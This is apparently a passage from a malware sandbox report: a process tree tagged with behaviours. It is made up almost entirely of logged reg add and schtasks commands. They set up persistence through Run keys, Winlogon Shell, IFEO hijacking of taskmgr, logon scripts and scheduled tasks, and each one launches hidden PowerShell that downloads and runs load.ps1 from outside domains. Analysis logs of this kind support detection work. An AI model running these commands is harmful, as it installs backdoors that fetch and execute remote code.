    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:1744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:5620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:3932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:4920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:4328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jacksclub.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:320
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
  2⤵
  PID:3700
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:4228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2436
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
  2⤵
  PID:6076
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:2444
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
  2⤵
  PID:2632
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:5588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
  2⤵
  PID:2368
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:5476
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc onlogon /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
  2⤵
  PID:2040
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:4560
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
  2⤵
  PID:1196
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:4180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5780
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2088
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5856
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:4332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc onlogon /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4940
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2032
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://juad888.us/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
  2⤵
  PID:1648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
  2⤵
  PID:3740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
  2⤵
  PID:1464
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:860
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:5476
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
  2⤵
  PID:888
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:2324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:3136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1912
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:3392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fun79i.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
  2⤵
  PID:3368
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:236
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:2168
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
  2⤵
  PID:4792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:3636
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4664
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:4588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4548
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:3204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:3148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3860
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6120
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
  2⤵
  PID:2344
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4588
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:2188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
  2⤵
  PID:584
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:5408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:3204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:3156
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mmoo.spot/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    PID:2568
- C:\Windows\SysWOW64\cmd.exe
